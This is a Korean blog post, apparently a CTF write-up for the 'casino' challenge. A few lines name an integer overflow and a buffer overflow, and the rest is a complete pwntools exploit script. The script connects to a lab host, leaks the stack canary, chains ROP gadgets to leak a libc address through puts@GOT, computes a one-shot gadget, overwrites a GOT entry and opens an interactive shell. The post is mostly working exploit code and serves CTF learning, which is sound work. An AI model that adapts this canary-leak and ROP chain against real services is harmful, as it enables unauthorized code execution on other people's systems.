ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [BoB CTF] casino
    CTF 2017. 1. 4. 23:46

    casino



    선주형이 문제를 잘못내셨다는 카지노, 잘못내셨지만 일단 취약점은 아래와 같음


    1. 인티저오버플로우

    2. 버퍼오버플로우 


    그냥 돈벌고 오버플로우 하면된다.


    바이너리 보고 분석하시면됩니다




    인티저오버플로우내서, rop로 libc 릭하고, 메인으로 돌아와서 계속 체이닝해주면된다.


    원샷으로 덮어서 쉘따는 문제


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    from pwn import *
     
    = remote("10.211.55.3",11111)
     
    def bet_money(money,lucky):
        print p.recvuntil(">>>")
        p.sendline("1")
        print p.recvuntil("money: ")
        p.sendline(str(money))
        print p.recvuntil("number: ")
        p.sendline(str(lucky))
     
    def reward(data):
        print p.recvuntil(">>>")
        p.sendline("3")
        print p.recvuntil("name: ")
        p.sendline(data)
     
    # 400D0F                 mov     rdi, rax
     
    bet_money(100,-1)
    reward("A"*40)
    print p.recvuntil("A"*40)
    canary = u64(p.recv(8))
    print hex(canary)
     
     
    poprdi = 0x00401083
    puts = 0x4008C0
    puts_got = 0x602018
    retn = 0x400FEE 
    gets = 0x4009A0
     
    payload = "A"*40
    payload += p64(canary)
    payload += "A"*8
    payload += p64(poprdi)
    payload += p64(puts_got)
    payload += p64(puts)
    payload += p64(retn)
     
    reward(payload)
     
    print p.recvuntil("A"*40)
    print p.recv(8)
    libc_leak = u64(p.recv(6).ljust(8,"\x00"))
    libc_base = libc_leak - 0x6fd60
    one_shot = libc_base + 0x4647c
    print "puts@got: " + hex(libc_leak)
    print "libc@base: " + hex(libc_base)
     
    bet_money(1000,-1)
     
    payload = "A"*40
    payload += p64(canary)
    payload += "A"*8
    payload += p64(poprdi)
    payload += p64(0x6020A8)
    payload += p64(gets)
    payload += p64(0x400FEE)
     
    reward(payload)
    p.sendline(p64(one_shot))
     
    p.sendline("5")
     
     
     
    p.interactive()
    cs


    'CTF' 카테고리의 다른 글

    H3X0R CTF Be rich  (0) 2017.01.08
    Plaid CTF prodmanager  (0) 2017.01.07
    [BoB CTF] megabox  (0) 2017.01.04
    [christmas ctf 2016] who is solo 문제풀이  (0) 2016.12.25
    HoldyShield Pwn400 diary  (0) 2016.12.22

    댓글

Designed by Tistory.